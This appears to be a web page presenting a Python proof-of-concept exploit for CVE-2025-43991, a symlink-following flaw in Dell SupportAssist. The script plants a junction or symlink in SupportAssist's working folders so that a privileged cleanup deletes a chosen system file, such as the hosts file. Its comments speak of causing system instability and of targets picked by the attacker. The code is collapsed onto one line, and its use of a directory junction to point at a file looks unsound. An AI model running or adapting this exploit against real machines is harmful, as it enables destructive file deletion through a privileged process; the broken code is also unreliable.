CVE-2025-43991：Dell SupportAssist符号链接跟随漏洞

#!/usr/bin/env python3 # CVE-2025-43991 - Dell SupportAssist Symlink Following Vulnerability PoC # This PoC demonstrates the concept of exploiting a symlink following vulnerability # in Dell SupportAssist to delete arbitrary files on the system. import os import sys import tempfile import ctypes import shutil def is_admin(): """Check if the current process has administrative privileges.""" try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except Exception: return False def create_malicious_symlink(target_file, link_location): """ Create a malicious symbolic link (or junction in Windows) that points to a target file we want to delete when SupportAssist performs cleanup. Note: On Windows, we use directory junctions (mklink /J) or CreateSymbolicLinkW API since native symlinks require admin + developer mode. """ try: # Remove existing link if present if os.path.exists(link_location) or os.path.islink(link_location): if os.path.isdir(link_location) and not os.path.islink(link_location): shutil.rmtree(link_location) else: os.remove(link_location) # On Windows, create a directory junction (requires no special privileges) if sys.platform == 'win32': # Use mklink /J for directory junction cmd = f'mklink /J "{link_location}" "{target_file}"' result = os.system(cmd) if result == 0: print(f"[+] Directory junction created: {link_location} -> {target_file}") return True else: print(f"[-] Failed to create junction. Error code: {result}") return False else: # On Unix-like systems, use os.symlink os.symlink(target_file, link_location) print(f"[+] Symbolic link created: {link_location} -> {target_file}") return True except Exception as e: print(f"[-] Error creating symlink: {e}") return False def exploit(): """ Main exploit function. Steps: 1. Identify SupportAssist's working/temp directories 2. Create a symlink pointing to a critical system file 3. Trigger SupportAssist cleanup operation 4. The targeted file gets deleted by the privileged SupportAssist process """ print("=" * 60) print("CVE-2025-43991 - Dell SupportAssist Symlink Following PoC") print("=" * 60) if not is_admin(): print("[!] Warning: Running without admin privileges.") print("[!] Some operations may fail. Run as admin for full effect.") # Common SupportAssist temp/working directories supportassist_dirs = [ os.path.join(tempfile.gettempdir(), 'SupportAssist'), os.path.join(tempfile.gettempdir(),'Dell', 'SupportAssist'), 'C:\\ProgramData\\Dell\\SupportAssist', 'C:\\ProgramData\\SupportAssist', os.path.expanduser('~\\AppData\\Local\\Dell\\SupportAssist'), ] # Target critical files that would cause system instability if deleted # (These are examples - actual targets depend on attacker's goals) target_files = [ 'C:\\Windows\\System32\\drivers\\etc\\hosts', 'C:\\ProgramData\\Dell\\SupportAssist\\logs\\supportassist.log', 'C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Dell\\SupportAssist\\temp_data.tmp', ] # Step 1: Find or create a writable directory where SupportAssist operates target_dir = None for sa_dir in supportassist_dirs: if os.path.exists(sa_dir): target_dir = sa_dir print(f"[+] Found SupportAssist directory: {target_dir}") break if target_dir is None: # Fallback: use temp directory target_dir = tempfile.mkdtemp(prefix='sa_exploit_') print(f"[*] SupportAssist dir not found, using: {target_dir}") # Step 2: Create malicious symlink pointing to target file target_file = target_files[0] # Use first target as example link_name = os.path.join(target_dir, 'cleanup_target.tmp') print(f"\n[*] Target file to delete: {target_file}") print(f"[*] Symlink location: {link_name}") if create_malicious_symlink(target_file, link_name): print("\n[+] Symlink successfully planted!") print("[*] Waiting for SupportAssist cleanup operation...") print("[*] When SupportAssist deletes 'cleanup_target.tmp',") print("[*] it will follow the symlink and delete the target file instead.") print("\n[!] NOTE: This PoC only demonstrates the setup phase.") print("[!] Actual exploitation requires triggering SupportAssist") print("[!] to perform a cleanup operation on the planted symlink.") else: print("[-] Failed to plant symlink. Exploit aborted.") if __name__ == '__main__': exploit()